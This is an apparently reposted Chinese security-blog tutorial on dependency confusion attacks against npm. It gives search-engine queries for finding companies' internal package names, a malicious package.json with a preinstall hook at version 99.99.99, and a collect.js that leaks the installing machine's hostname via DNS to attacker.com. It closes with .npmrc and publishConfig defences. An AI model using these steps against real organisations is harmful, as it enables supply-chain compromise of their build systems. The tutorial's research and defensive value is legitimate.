[前沿技术] 依赖混淆攻击实战
原创
Pik安全实验室
Pik安全实验室
Pik安全实验室
2026年5月25日 10:13
广东
在小说阅读器读本章
去阅读
0x00 介绍
依赖混淆(Dependency Confusion)由 Alex Birsan 在 2021 年提出。通过分析目标公司内部使用的私有包名,在公共仓库注册同名包并赋予极高版本号,包管理器会优先下载攻击者的恶意包。Apple、Microsoft、Tesla 等大量科技巨头均受影响。本文将详细演示攻击流程和检测方法。
0x01 攻击原理
包管理器(npm/pip/NuGet)解析依赖时,如果同时存在内部仓库和公共仓库,通常会选择版本号更高的包。攻击者注册的包版本设为 99.99.99,必然被选中。
0x02 实战步骤
Step 1: 信息收集
从 package.json 泄露的内部包名
扫描目标的公开仓库、JS 文件、错误信息
使用 npm-packlist 检查 node\_modules
ls -la node\_modules/@company-name/
搜索公开的 lock 文件
site:github.com \"@target-company\" filename:package-lock.json
从错误日志中提取
site:target.com \"cannot find module\" \"@internal\"
Step 2: 注册同名包
在 npm 注册与内部包同名的包,版本设为极高(如 999.0.0)。包内 preinstall 脚本在安装时自动执行。
// package.json
{
\"name\": \"@company/internal-utils\",
\"version\": \"99.99.99\",
\"scripts\": {
\"preinstall\": \"node ./collect.js\"
}
}
// collect.js — DNS 外带验证
const dns = require('dns');
const os = require('os');
const hostname = os.hostname();
dns.lookup(${hostname}.attacker.com, console.log);
Step 3: 验证与利用
发布后等待目标的 CI/CD 自动构建触发安装。通过 DNS 日志确认代码执行。
0x03 防御
使用 scope 注册(@company/my-package)、npm 组织管理、配置 .npmrc 的 @scope:registry、使用 npm audit 检测、锁定依赖版本。
.npmrc 配置 — 强制内部包走私有仓库
@company:registry=https://npm.company.com/
package.json 中显式声明 registry
\"publishConfig\": {
\"registry\": \"https://npm.company.com/\"
}
本文仅作安全研究与学习用途,用于非法行为后果自行承担。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[前沿技术]依赖混淆攻击实战"](/images/random/titlepic/2.jpg)


![[代码审计]phpSSRF"](/images/random/titlepic/6.jpg)




评论